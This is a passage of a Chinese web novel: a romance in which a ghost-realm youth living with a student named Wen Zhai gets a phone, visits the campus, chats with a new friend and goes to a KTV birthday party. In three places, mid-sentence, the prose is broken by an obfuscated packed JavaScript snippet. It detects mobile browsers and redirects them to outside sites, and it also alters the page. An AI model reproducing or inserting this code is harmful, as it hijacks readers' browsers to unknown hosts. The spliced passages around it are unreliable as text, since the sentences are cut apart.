这简单平常的一幕却像团棉花堵在闻翟心头。回去的路上,始终想不通:为什么不让他付款? ……为什么江听雨不愿意花他的钱了?之前蛋黄酥都是让他买的。 拥有一部手机的江听雨很高兴,没他那么纠结的想法,只是想起之前自己去手机专卖店时,店员告诉他手机也要付钱,而他这次兜里刚好有足够的钱,便自己摸出来付了,根本没想那么多。 闻翟的两个心房和两个心室快打架了,一直到办手机卡的时候,他抢先江听雨一步付了款,对方也没有拒绝,这才终止“战争”。 装好电话卡,闻翟存了自己的电话号码进去,设置成紧急联系人。 “旁边的开关键和音量键一起连按五下,这样紧急情况下即使不进入通讯录,也能直接拨打我的电话,让我知道你在哪里。” “好。”江听雨以实践增强记忆,在闻翟将手机还回来后便进行尝试,没几秒,闻翟口袋里的铃声响了起来。 夏末的风余情未了,带动头顶的树叶沙沙作响。闻翟摸出手机,没有挂断,而是点下接受。 “喂?”他只说了一个字,声音通过手机传出来却多了些磁性,与面前长相俊朗的青年重叠在一起。 江听雨感觉握着机身的手指麻麻的,耳朵也麻麻的,像是被人吹了一口热气。 “你好,我是江听雨。”说完,他才反应过来自己这句话有多蠢,闻翟又不是不知道他的名字,而且这也不是他们第一次见面。 闻翟却没挂断电话,保持着接听的姿势,“你好江听雨,我是闻翟。” “别再突然联系不上了。” 刹那间,江听雨的心脏咚地重重跳了几下,砸开厚实的冰层,暖光乍泄进来。 他搓了搓奇怪的耳朵,将手机拿远了些:“……知道了。” - 因为右手受伤,顾景山给江听雨放了病假。头几天江听雨还听话地待在家里养伤,除了吃喝睡就是玩宅宅,像一只被豢养在家的猫,整个人都透着股慵懒的气息。 他也半点不亏待自己,家里但凡有什么好吃的,几乎都进了他的肚子。 闻翟一回家,就在茶几上看到一堆零食包装袋,不是很能理解江听雨那么小的肚子,是怎么做到在吃完一日三餐后还额外摄入这么多垃圾食品的。 他收拾掉包装袋,顺便没收走他剩下的零食,问:“为什么又吃那么多零食?”又不是没有给他饭吃。 江听雨板正地坐在沙发上,双手捧住圆滚滚的肚子,眼睛又大又亮,驾轻就熟甩锅:“宝宝想吃,不是我。” 闻翟同样掌握了拿捏他的方法:“再在饭前吃这么多零食,我就不做饭了。” 江听雨立刻老实了,不情不愿地开口:“那我跟宝宝说一声……不会再吃了。” 零食的摄入量得到了控制,江听雨的寂寞却与日俱增。 他本来就不是耐得住闲的性格,脚朝天、头朝地躺在沙发上,面对安静的房子,呼出一口淡绿色的鬼气,伸出手打了几个转,鬼气随着他的动作缠绕在指尖,再一点点散去。 这已经是他今天呼出的第九十九口鬼气,再找不到其他消磨时间的平替,他就要扁掉了。 一个人在家一点都不好玩,手机也玩腻了。 如果不是神魂受损,他的恢复能力是很强的,像手上这种伤根本不算什么,最多两天就能好全,但现在却慢了许多。 其实他有时候吃零食,并不是真的饿了,而是太无聊了,就想让嘴巴忙活起来。但现在连这么一点小乐趣都被闻翟剥夺了! 好无聊啊,好无聊啊…… 江听雨在沙发上又滚了几圈,直到哎哟一声滚到了地上去,牵扯到伤处,疼得他脸皱在一起,倒吸一口凉气。 他屁股朝上呈大字型躺了会,倏地冒出一个想法——他可以主动去找闻翟! 上班的地方去不了,他在人间又没有其他朋友,闻翟明显是他目前最好的选择。何况闻翟上学的地方离家不远,找过去不难。 如果闻翟忙的话,他就当过去散步,在周围自己玩;如果闻翟不忙,他就可以给他一个惊喜。 江听雨这么想,从地板上弓了一下,仿佛突然有了活力,飞快爬起来换好衣服出门。 说起来,他当初从轮回之境苏醒,来到的第一个地方就是闻翟的学校。 一路走一路问,江听雨顺利找到江城大学。他对这里还算有点印象,可以确定自己没有找错。 只是他忽略了大学并不是一个人人都可以进入的地方,门口除了值班的保安,还有刷脸系统,只有识别到与数据库中对应的人脸信息才会放行。 江听雨试了好几次,显示屏上都是一行红色的“识别失败”,同时附带语音提示,成功引起了保安对他的关注。可能再来几次,就要怀疑他的身份和动机了。 好在大学里最不缺的就是助人为乐的学生,有从外面回来的同学看到江听雨刷不开系统,主动提出道:“我来吧,你可以跟在我后面一起进去。” 江听雨的穿着打扮看起来就很年轻,装成大学生完全没问题,这位同学也就真将他当做了这里的学生之一。 成功进入校园,对方甚至还帮他找了一个理由:“你应该是传上去的照片有问题吧?这个系统就是这样,破破烂烂的,有时候戴眼镜识别失败,摘下眼镜又成功了。” “如果经常刷不开,可以跟辅导员联系一下,帮忙开后台重新上传照片。” 江听雨将听不懂就道谢的原则贯彻到底,“谢谢。” 对方笑了笑:“不客气。”然后抱着手里的快递走了。 校园内很大,楼栋也多,哪里都有一点闻翟魂魄的气息。江听雨开启了无头苍蝇式的寻找,一圈逛下来,他也不知道自己现在究竟在哪个位置,只知道有个叫食堂的地方,里面特别多好吃的。 - “今天这个酸菜肉沫拌面真的太尼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399987|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玛难吃了,面比风干了一百年的僵尸肉还难嚼。还有那个酸菜,我更是不想说,男寝十双袜子加在一起都搞不出那个酸爽。” 两人并排从食堂内出来,闻翟已经习惯了祁萧喋喋不休的吐槽,只在最后发表见解:“那你中午还拉着我一定要吃。” 祁萧一噎,尽管理亏心虚,却并不妨碍他嘀咕:“那我也没想到会这么难吃啊,再说你不是也全部吃完了。” 两人边走边有一搭没一搭地聊着,直至不再同路才分开。 如果闻翟中午跟祁萧在食堂吃饭,就说明他今天没有时间自己下厨,却有回去给江听雨送饭的时间。 祁萧在后面看着他手上打包好的饭菜,感叹了一句“世风日下”,转身往宿舍楼方向去。 只是刚到楼下,就看到一堆人围聚在一起,有男有女,如饥似渴往前挤的样子像是回到了闹饥荒抢粮食的年代。 祁萧感到奇怪,随便问了一个正在排队的同学:“欸兄弟,你们这是在干什么呢?” 被他问到的同学其实也是随大流,说:“加微信呢。好像来了一个明星还是网红,具体不太清楚,总之长得特好看,反正扩个列也不亏。” 特好看? 祁萧顿时来了兴趣,他倒要看看究竟有多看。只是没想到好不容易挤进去,就看到了一张认识的面孔。 “听雨弟弟!?” 江听雨在这被挤了十几分钟,感觉都要喘不过气了,此刻看到祁萧,无异于看到能带他脱离苦海的救世主。 “让一让,大家都让一让,他身体不舒服,别在这挤着了。”祁萧随口扯了个理由,揽住江听雨的肩膀:“手机收好,我带你出去。” 江听雨如言照做,紧紧跟着祁萧上了宿舍楼,围着的人群这才逐渐散开。 “刚刚怎么回事?怎么那么多人找你加微信?”祁萧问。 江听雨的长相确实够得上当明星或网红的标准,但这里是大学,又不是什么粉丝见面会现场,不该有那么多人围着江听雨才是。 “这个……”江听雨挠了挠在楼下被晒得有点红的脸蛋。 这事有乌龙的成分在里边。他摸索到宿舍楼下时,有一个社团正在招新,看他一个人,主动上来跟他搭话并提出添加联系方式。 江听雨没有拒绝人的经验,何况对方实在太热情,就拿出手机加了。谁知一旁的其他社员瞧见,也说想加他,纷纷围过来,于是就引起了连串效应,甚至有人现场给他编了身份出来,一个比一个离谱。 祁萧听完,也觉得离谱又好笑,但一看江听雨,又能理解那些人了,毕竟好友列表里多个帅哥没有坏处。 “这是我宿舍,你坐一下,我给闻翟发消息,他应该还没走远。” 江听雨点头,到椅子上坐好,双腿并拢,双手搭在膝盖上,对刚才的事还心有余悸。 这里的人聚在一起真是比冥界的鬼还要可怕。 【祁天大圣:回到家没?】 【Z:?】 【祁天大圣:没到的话先别回了。我敢保证,你现在回去绝对见不着人。】 祁萧故意买了一个关子,奈何学霸的脑子就是转得快。 【Z:位置。】 祁萧刚打出“你家那位现在在我宿舍”,旋即想到什么,又笑着删掉了。 【祁天大圣:好说,叫一声爸爸听听,为父什么都答应你。】 【Z:你的劳动课作业还在我手里。】 “操。”祁萧没忍住骂了一声,早知道就不贪方便让闻翟帮忙一块交了。 24.麻婆豆腐 祁萧联系闻翟的间隙里,江听雨打量了一圈宿舍环境,不对称的五人寝,空出来的那片地方没有设置床位,而是用来给他们摆放行李箱。 上床下桌,其中四张桌子上都有东西,只有江听雨面前这张空荡荡的,覆着一层不太明显的薄灰,昭示着上一个人离开的时间不长。 “你口渴吗?”祁萧聊完放下手机,“我给你倒杯水喝吧。” 江听雨确实有点渴了,便没拒绝。 祁萧本来想拿自己的杯子,男生之间糙得很,互相喝对方的水是常有的事,但一想到闻翟有重度洁癖,能跟他住在一个屋檐下的江听雨想必也同病相怜,还是找了个干净的新杯子。 祁萧最后用上回买牛奶赠送的杯子给江听雨倒了一杯水。 “谢谢。”江听雨接过喝干净,问:“闻翟以前也住在这里吗?” “啊对。”祁萧指了指对床,说:“那里以前就是他的位置,不过开学后他办理了外宿,东西都已经清走了。” 闻翟大三之前都是住校的,正好和祁萧同一间宿舍,现在人搬了出去,从床位到桌位都收拾得一干二净,肉眼上看不出任何在这里住过的痕迹。 “你现在坐的这个椅子也是闻翟之前的。这家伙有洁癖,平时都不允许我们碰他的东西,放在以前,要是知道有人坐了他椅子,估计又要清水擦拭、酒精消毒一条龙服务了。” 男孩子的性格大都散漫随性、不拘小节,像闻翟这样有洁癖的其实很可能遭到孤立,但他们宿舍的关系倒是还好,大家有事说事,相互理解包容,毕竟谁都有缺点。 江听雨在跟祁萧的聊天过程中对闻翟的洁癖有了进一步了解。这人但凡从外面回来必做全身消毒,宁可手洗衣物也不使用公共洗衣机。为了减少菌体接触,不摸校园里的猫猫狗狗,从不和人共用一样东西…… 江听雨听得一愣一愣的,感觉祁萧口中的闻翟跟他认识的闻翟存在一定差异。 他认识的闻翟,给他衣服穿、帮他吹头发、同意他养宅宅、陪他睡觉。 上次在医院,闻翟还给他阳气。嘴对嘴的话,肯定会沾到另一个人的口水。 祁萧听完两人的日常也感到不可思议,“呃……可能他下/流吧。” 恰在这时,宿舍的门敲响,祁萧去开门,来人不出所料。 闻翟十分自然地走向原本在这的桌位,放下饭菜,打开塑料袋,催促一旁的江听雨:“先过来吃饭,一会凉了。” 江听雨起身凑过去:“好。”接过闻翟已经替他掰开的一次性木筷。 闻翟过来的路上顺便在楼下小卖部买了瓶椰汁奶,拉开易拉罐放到他手边:“食堂送的。” 江听雨没多想:“谢谢。” 看破不说破的祁萧无声呵呵,他已经认清了现实:自己在好兄弟心目中的地位被取代了。 见江听雨吃得差不多,闻翟才问出:“怎么会到这里来?” 已经提前知晓答案的祁萧觉得某人有恃宠而骄的嫌疑,很欠地在后面模仿他的话:“怎么会到这里来~” 江听雨便又说了一遍:“家里太无聊了,我就想来找你。” 闻翟有一会没说话,再开口时语气依旧平淡:“下次可以提前给我发消息。” 江听雨以为他是不喜欢自己突然过来找他,就着吸管喝手里的椰汁奶:“哦。” 一个不喜欢聊天社交的人允许另一个人打扰他。只有祁萧知道闻翟这句话的含金量有多高,不由得瞪大了眼,再次确信他的好兄弟真的转性了。 - 闻翟下午第一节没有课,在江听雨吃饱喝足后带着他逛学校,又不嫌麻烦地将他送回家,贴心程度堪比热恋中的小情侣。 祁萧越跟他俩待在一起,越得自己像只三千瓦的大灯泡。两人虽然没有那么肉麻的腻歪,却像是有一种特殊的磁场,里面只有他们,别人都挤不进去。 没一会祁萧就先找借口溜了:“老欧叫我打网球,你们慢慢逛哈。” 但其实他们也没逛太久,在遇到祁萧之前,很多地方江听雨已经自己逛过了,只是闻翟会送他回去倒是出乎他的意料。 “这个一起带回去。”闻翟从小区附近的药店买了东西给他,说:“用棉签涂在手臂上。” 江听雨的伤口这两天开始结痂了,组织修复的过程会感到异常瘙痒,白天还能忍得住,晚上睡着后却会无意识抓挠,一旦挠破,伤口又要裂开不说,还容易引起二次感染。 所以闻翟给他买了凡士林,适当涂抹可以缓解痒意。 其次祁萧想的果然没错,住在一起的人会相互影响,江听雨如今回到家的第一件事就是进浴室洗澡,换了套干净衣服才坐到沙发上去。 上周闻翟帮忙在网上购买的甲鱼饲料也到货了,江听雨喂过几次,宅宅看起来还挺喜欢的,每次都会吃得干干净净。 给伤口周围抹完凡士林,江听雨跑到水缸边。宅宅一见他,就伸长脖子等着开饭。 江听雨按照摸索出来的食量,用塑料勺舀了两下饲料投洒进去,再从风干的小鱼干上撕下一块鱼肉,用手喂到宅宅嘴边。 这是他从网上学来的,说万物皆有灵,坚持亲自喂养的话,小动物就会更亲人。 手伸进水缸时,宅宅警惕地往里缩了一下脖子,意识到江听雨没有恶意后又伸出来,咬住他手上的白色鱼肉。 江听雨喂完了一整条小鱼干,轻轻拍了下它的壳,当初希望闻翟吃甲鱼补阳气的话如今变了味:“你要多吃一点,将壳变得硬硬的,这样闻翟咬不动你就不会再想吃你了。” 折返回沙发的途中,江听雨顺便拔下了充好电的手机。 他的手机没有设置任何解锁要求,一打开就直接进入桌面,上面的内容简单稀少,除了手机本身自带的,额外下载的加在一起不超过五个。 看到绿色软件上的小红点,点进去。 他今天在学校添加了不少好友,有些在好友通过后沉默不语,只有一行添加成功的系统提示,而有些则给他发了消息过来打招呼。 一千年前拼音还没有出生,虽然江听雨这段时间有跟着网上视频在认真学习,但二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15412020|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 六键输入法对他来说还是有点难,九键就更是摸不着头脑的存在。 他使用最多的是语音转文字,有时难免会有一些转化错误,手写输入便派上了修正的用场。往往一顿操作下来,已经是好几分钟后。 出于礼貌,江听雨一一回复了那些主动发来的消息,绝大多数人在和他聊了三四句后便结束,唯有一个叫“王明杰”的人跟他聊了很久。 【Jie:嗨,你还记得我吗?我看今天挺多人加你的,我是第一个哦。】 他在最后配了一个可爱的表情包,看起来很擅长社交。 江听雨看前面还不知道他是谁,但他说自己是第一个,江听雨可是记得非常清晰。 就是这个人,非要拉着他加微信,才让他被一堆陌生人挤来挤去,幸好他是半神之躯,要换了一个百分百纯种鬼被这么多人包围,早就受到影响散魂了。 【O.O:记得。】 【Jie:记得就好!】 【Jie:你的皮肤好白噢,没想到一个男生也能这么白,是天生的吗?】 【O.O:是。】 对方问题很多,江听雨还没摸透这个时代的社交方式,只好有问必答。 【Jie:好吧,看来是不能找你要链接了呜呜。】 【Jie:对了,你是哪个学院的?我没有在经管见过你,你应该是其他学院的吧?】 【O.O:不是。】 他回答的都很简短,倒不是为了营造高冷人设,而是这样回复轻松省时。 不过却造成了对面的误会。 【Jie:你好高冷啊,跟线下看到的样子像两个人。是因为嫌我烦,不想跟我聊天吗?】 后面跟了一连串受伤难过的表情包。 江听雨先用语音转文字——“没有,不是高冷,我不太会用手机聊天。” 但“高冷”两个字却识别错了,第一次识别成“糕冷”,第二次识别成“搞了”。无法,他只能采取Plan B,删掉那两个字后改为手写输入。 但刚写完第一个字,那边就又发来两条新消息。 【Jie:怎么不回我了[苦涩]?】 【Jie:你还在吗?】 江听雨权衡一番,怕又造成不必要的误会,先删掉输入框里面的所有内容。 【O.O:在。】 成功发送出去,江听雨仰天长叹了一口气。聊天好累啊,难怪闻翟都不怎么在手机上和人聊天。 倒不是说对方不好,相反,恰恰因为王明杰幽默风趣,消息一条接一条,江听雨的输入速度就跟不上了。 好在最后他成功解释了自己为什么回复的很简短。 【Jie:原来是这样啊,没关系,你不嫌我烦就行。实在不行的话,你以后和我聊天可以直接发语音,那样会更快一点。】 江听雨醍醐灌顶,这确实是个好办法。他之前都是用语音转文字,竟然忘了还能直接发语音。 最重要的是,有了王明杰陪他聊天,他就不需要再去打扰闻翟了。 25.肉沫蒸蛋 闻翟回家一打开门,就听到江听雨的笑声,人已经在沙发上笑成了一团。 他买了菜回来做晚饭,换好鞋径直进了厨房。江听雨瞧见他回来,单方面结束了和王明杰的聊天,丢下手机跑过来帮忙。 “我们今晚自己做饭吃吗?”江听雨问,养伤的日子里他其实还是希望能够做点什么,这样不至于显得他太没用。 他很怕闻翟赶他走,至于为什么,他猜大概是因为自己神魂的修复离不开他吧。 闻翟:“嗯,买了豆腐和牛肉。” 上个星期闻翟比较忙,所以江听雨除去吃了一次外卖,其他时候基本都是吃闻翟从食堂打包回来的饭菜。 但如果有时间,闻翟还是倾向于自己做饭,这跟他的妈妈有一定关系,她喜欢在工作之余钻研厨艺,教会了闻翟很多。 “我帮你一起吧。”江听雨说:“在家这几天我都快发霉了。” 闻翟扫了一眼他的右臂,上面结着一道暗红色的血痂,与旁边白皙的皮肤形成鲜明对比。 江听雨察觉到,立刻道:“已经不影响做事了,真的。” 像是为了印证这句话,他摘下挂在墙上的砧板,打开水龙头清洗干净,又去洗闻翟刚买回来的牛肉,拔出正在架台上沉睡的菜刀。 他做得有模有样,闻翟便没阻止,从冰箱里拿出西兰花准备清洗。 只是等他菜都洗完了,江听雨仍保持着提刀的姿势愣在那里。 “怎么了?”闻翟走过去,起初以为他是不会切,正要从他手里接过菜刀,才发现握得极牢。 不是因为不想给他所以故意使力,而是他整个人都处于一种高度紧绷的状态,肌肉好似石化,无法再受到意识的支配。 闻翟感到了不对劲,再看江听雨,脸上不知何时血色全无,犹如被寒风吹透的霜,连嘴唇都苍白得吓人。 他的手指在发抖,菜刀却附骨之疽般紧紧吸附在手中。 “江听雨?” 没有任何回应,双目空洞。 闻翟不再犹豫,费了一番力气才从他手里扣出菜刀。 菜刀脱手的刹那,江听雨也陡然回神。平常三十几度都不见流一滴汗的人此刻浑身冒冷汗,看着他,张了张嘴,却好半天说不出一句话来。 “去客厅休息吧。”闻翟知道现在不是追问原因的好时候,给他倒了一杯水,“伤号可以在家里享受特权。” 江听雨喝完水,却摇了摇头,终于能够顺利吐声:“我没事。” 他不想提及的事,闻翟不会逼问。比倾听更重要的,是尊重。 “客厅的桌面需要收拾一下。” “那我现在去。” “嗯。” - 自从加上王明杰的微信,江听雨几乎每天都会和他聊天。 最开始是王明杰找他比较多,有时是分享校园里的日常,有时是发照片给他看,涵盖花草、猫狗、旅游风景等等。 这些东西对于江听雨来说都因新奇而感到有趣,久而久之,他也开始主动给对方发消息。 【Jie:早上好!快看我刚刚在教室门口拍到的!】 对方发来了一张图片,是一只被投喂得胖乎乎的三花猫,像个督查老干部,双手交叠趴在门边,对来往学生习以为常,半边身子沐浴在金色的阳光中,看起来惬意又温暖。 江听雨发去消息赞叹猫猫的可爱,同时拍了一张宅宅的照片给他看,算作礼尚往来。 他们的聊天时间并不固定,长短不一,通常都是由这些碎片化的内容组成,但王明杰很会聊天,至少对于江听雨来说是大师级别,所以他并不觉得烦。 闻翟天天和他生活在一起,自然注意到了他最近的变化:经常捧着个手机傻乐。 在王明杰上回建议过后,江听雨每次和他聊天都是发语音居多,因为觉得不是什么很私密的事,每次聊天也不会刻意避着闻翟。 闻翟却在一天提醒他:“聊天别直接发语音。” “为什么?”江听雨愣愣地问:“我之前和你聊天不都是发语音吗?” 刚下载微信那会,他其实经常给闻翟发消息,虽然只有他在发语音,闻翟都是打字回复,但对于不熟练输入法的人来说,语音真的是一个很便捷的方式。 不过现在他不怎么和闻翟聊微信了,和王明杰聊天已经足够满足他的空闲时间。何况闻翟看起来每天都挺忙的,应该也不想被他打扰。 闻翟不能理解为什么江听雨和一个不熟的陌生人都能聊得那么好,明明给他下载微信的是他,教他使用微信的也是他,他还是他列表里的第一个好友,结果现在却能好几天不发一条消息。 但他没有立场让江听雨删了那个“偷家的隔壁老王”,出门前留下最后一句话:“网络上心怀不轨的骗子很多,发语音、发照片都是在泄露个人隐私,别遇上一个人就那么热情。” 热情? 江听雨思索了片刻自己的言行,最后不赞同地撇撇嘴,感觉闻翟简直是在胡说八道。 他最近对闻翟分明一点也不热情啊。 但到了晚上闻翟在家时,江听雨确实不再当着他的面使用语音聊天了,睡觉的时候也是躲在被子底下悄悄使用手机。 他自以为掩藏的很好,还压住了被子的边边角角,却高估了这床被子的遮光性。 怀里少了一个爱在睡着后滚进来的人,闻翟的睡眠质量跟着下降,中途醒来,伸手摸过床头柜上的手机看了眼时间。 1:11。 他捏了捏酸涩的山根,掀开一旁鼓囊囊的被子,问:“大半夜的不睡觉,在做什么?” 江听雨猝不及防被吓了一跳,手机都掉了。他迅速息屏,心虚地转过身,像无数被家长抓住偷玩手机的学生。 闻翟等着他给出一个合理解释。 江听雨如今的甩锅技术已经炉火纯青,很快道:“宝宝在踢我。” “弄得我睡不着。” 闻翟突然坐了起来往这边靠近,江听雨以为他生气了,条件反射地用双手捂住脸,然而意想中被揪脸蛋的事却并未发生。 江听雨一点点打开手指缝隙,露出两只眼睛,就见闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416442|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翟的手从他上方绕了过去,摸到他藏在身后的手机。 闻翟没急着直起身,当着他的面摁下手机开机键,昏暗的空间顷刻亮起一片光芒。 江听雨不适地眯了一下眼,听到对方清冽的声音响起:“你的宝宝是奥特曼还是激光侠?踢人居然会发光。” 这话从闻翟嘴里说出来很滑稽,但江听雨笑不出。闻翟距离他很近,虽然没有实质性地压上他,但无论是他此刻的表情还是身上的气息,都极具侵略性。 江听雨好比一只被狼抓住的兔子,天生的体型与力量面前毫无反抗能力,狼不吃他,却也不松开爪子。 闻翟没有偷窥个人隐私的癖好,即便知道江听雨不设锁屏密码也不查他手机,但他有的是办法和手段让江听雨老实交代。 “宝宝明天又不想吃早饭了?” 他的声线里带了点刚醒来的慵懒和磁性,听得人耳尖发痒,恍惚间,江听雨还以为他前面那声“宝宝”是在叫自己。 不过来自美食的诱惑还是战胜了内心的羞赧。 真的不怪他,闻翟做饭太好吃了,如果可以,他今后都想将人带回冥殿,不用干什么伺候人的活,天天给他做饭吃就行。 “……我在想送什么礼物比较合适。”江听雨说:“我感觉我们认识一段时间了,也算是朋友。” 送礼物? 闻翟心头微动,好似被人用片羽毛轻轻挠了一下。 “心意比物质更重要。”他直起身体,语气有些僵硬地说:“只要是你认真准备的,没有人会不喜欢。” 江听雨想了想,感觉有道理,说:“那我能不能跟你换一下钱?” “我只有现金,但我想从网上买点材料回来给小明做礼物。” 他说前一句时,闻翟拿起了自己的手机准备转账,他说后一句时,闻翟的脸色和手机一起沉了下去。 “你要送礼物的人是那个叫王明天的?” 夜色遮掩住了许多不为人知的事物,包括那对漆黑瞳仁中翻滚着的情绪。 “是呀。”江听雨一门心思扑在礼物上,说:“他过几天生日,邀请我去玩,感觉空手过去不太好,我应该送点什么。” “另外,他叫王明杰,不是王明天。” “……”闻翟一言不发,放下手机,背过身重新躺了回去。 “闻翟?”江听雨还想和他聊聊礼物的事,试探性伸出一根手指,戳了戳他的后肩:“你睡了吗?” 对方不搭理他。 江听雨只好带着一头问号收回手。 手机刚才被没收了,他也没法再玩,更不敢去承担惹怒闻翟的后果,缩进了被子里,挨着对方的后背一起睡觉,呼吸很快变得轻浅均匀。 十几分钟后,闻翟转过身来,见他不止睡着了,还睡得很香,顿时又好气又好笑,去捏他的脸蛋。 “居然睡得着。” “唔……”江听雨叫他捏得不舒服,抬起手,正好一巴掌甩在他的手背上。 …… 不疼。 闻翟放轻力道又捏了两下。 26.清蒸驴鱼 江听雨右臂上的伤好得差不多了,结的痂也都自然剥落,但果真如当初猜想的那样留了道疤。 察觉到闻翟看向自己的目光,江听雨明白什么,主动解释:“这个没关系的,再过段时间就会一块消失了。” 闻翟联系上他的身份,这才面无表情地移开了视线。 时隔一个星期再次回到奶茶店,顾老板和小云姐都向他投来了关心。 曾雅云瞧见江听雨有一个巴掌那么长的疤,心底很不是滋味。如果不是她识人不清,交往了这么一个人渣,也不会连累江听雨替她受伤。 “听雨,这件事是我对不起你。”曾雅云眼眶红红的,强忍着泪水和情绪,“你对什么药物过敏吗?我给你买些祛疤膏吧,我知道国外有几个牌子还不错。” 其实她在江听雨受伤那天就给他转了一笔钱,既是表达愧疚,也是精神补偿,但江听雨没收,因为超时又自动退了回来。 “没关系,不用买。”除了闻翟,江听雨不方便向太多人透露自己的身份和体质,却也不想看小云姐继续自责,笑说:“我不怕变丑,而且真留了疤也没关系。” 在他们冥界,留了疤的男孩子都是很威风的。 曾雅云听出他在安慰自己,终是没忍住抹了一下眼泪:“明明应该受伤的人是我……” 要是那天江听雨没冲上来,余飞章那一刀十之八九是划在她脸上。 说不怕被毁容肯定是假的,但她更不希望让身边人替她承担后果。 “不是的。”江听雨不赞同她的话,说:“受伤这种事最不应该让女孩子来承担了,不然男孩子存在的意义在哪?” 绝大多数男性生来就比女性拥有更强的体型和更大的力气,但多出来的那部分,是上天希望他们用来承担责任和保护弱小,而非成为伤害的制造者。 顾景山也在这时递了张纸巾过来,“谁也想不到他会携带美工刀,这件事的主要问题不在你,不需要去为施害者而感到自责。” “今后还要一起上班,做我们这行的最讲究微笑服务,要是你见了听雨就不自在,被顾客投诉笑容不合格,那我就只好亲自上阵服务了。” 江听雨配合地用手指撑着唇角,做了个微笑的表情。 OvO 曾雅云破涕为笑。 - 江听雨在周五晚上和曾雅云换班,去参加王明杰的生日派对。 他带了礼物,抵达目的地附近后给对方发去消息。 【O.O:我到了。】 【Jie:好嘞。你稍等一下,我马上下来接你!】 不一会,王明杰出现在江听雨视野中,“我们订的包厢在三楼,我带你过去。” 这是江听雨加上对方微信后第一次线下见面,王明杰还是和在线上聊天时一样健谈。 路上,江听雨将生日礼物递给他,“生日快乐。” 他在冥殿有不少稀世珍宝,只可惜来人间的时候什么都没带上,还变成了一个穷光蛋。他思考了很久该送什么礼物,闻翟那晚的话给了他很大启发。 “这是我自己做的,不知道你喜不——”江听雨话到一半,王明杰已经打开纸袋看见里面的礼物。 是一个用粘土做的人物手办,细节精致,最外面用透明玻璃罩装着防尘。 “哇!这个礼物可太棒了!”里面的人物正是王明杰喜欢的,听见江听雨的话,顿时又惊又喜。 “居然是你自己做的吗?好厉害,肯定费了不少时间吧。” 确实花了不少时间,由于是第一次做,失败品也多。不过网上的教程很详细,江听雨才能成功捏出这个见都没见过的海绵宝宝。 两人推开KTV包厢时,里面已经坐了不少人,一眼扫过去十几个,都是王明杰请来的朋友。除了同校的,还有一些已经步入社会的,穿着风格与学生差异明显,不难认出。 “哟,让寿星亲自跑一趟领上来的,该不会是对象吧?”一名穿着夹克的男人走上来,看清青年身后的江听雨,原本嬉笑的表情有一瞬凝固。 旋即用一种近乎赤裸的目光上下打量起他。 江听雨今天穿着一件白色短袖T恤,整体偏宽松,露出优越的锁骨线条,下身为浅色系牛仔短裤,整个人散发着清新脱俗的气质。 同性恋在二十一世纪并不罕见,王明杰同他打哈哈:“杨哥真会开玩笑,这是我朋友,和你们一样过来给我庆生的。” 恰在这时,他的手机铃声又响了起来。 “听雨,你先找个位置坐吧,我点的东西到了,再下去一趟。” “好。”江听雨想找个不起眼的角落坐着,这里的人他除了寿星都不认识,打算等王明杰回来后简单走个过场就离开。 刚才被称作“杨哥”的人却喊住了他:“欸,你坐这边来吧?我们这还有空位。” 他扭头使了个眼色,原本坐在皮沙发上的大伙立即心领神会,腾出一个空位。 “不用。”江听雨指了指,“我坐那边也可以。” “这么生分干嘛。”男人非常自来熟地揽住他,半强迫地带着他往那边走。 “我叫杨崇,小杰是我的朋友,你又和他认识,四舍五入就算是我的朋友了。我们一会准备玩游戏,你坐那么远,大家都照顾不到你。”他说着,指腹在江听雨腰间蹭了蹭,滑到屁股上方。 江听雨往下看了一眼男人的手,给他一种讨厌的感觉,但见现场气氛火热,也没太多想,只当如今的人们都是这样社交。 在场的人大都彼此认识,衬得他这个外来者更加孤立无援,但也有性格不错的主动过来跟他搭话。 女生笑盈盈地问:“你化妆了吗?看起来皮肤好好哦。” 江听雨挠挠脸蛋:“没有。” “那你是混血儿吗?瞧着比我一个抹了超厚粉底液的还要白。” “不是。” 江听雨有问必答,被问得最多的就是相貌,不禁开始后悔,心想要是早知道大家这么关心他的长相,应该施个障眼法再变丑一点的。 太引人注意不是件好事,容易被发现与凡人的不同。 好在这样的询问并未持续很久,王明杰拎着外卖员送的生日蛋糕上来,绅士且体贴地说:“人都到齐了,我们先吹蛋糕吧,这样要是有女孩子想提前回家也没问题。” 寿星都发话了,众人自然没有不配合的道理,帮忙点蜡烛、唱生日歌。 “祝你生日快乐,祝你生日快乐……” 五彩斑斓的灯光交相辉映,将整个包厢照得如梦如幻,寿星很享受这种众星捧月的感觉,于一片欢乐中完成许愿,吹灭蜡烛,在蛋糕上切下第一刀,询问大家对于分量的要求,一一满足。 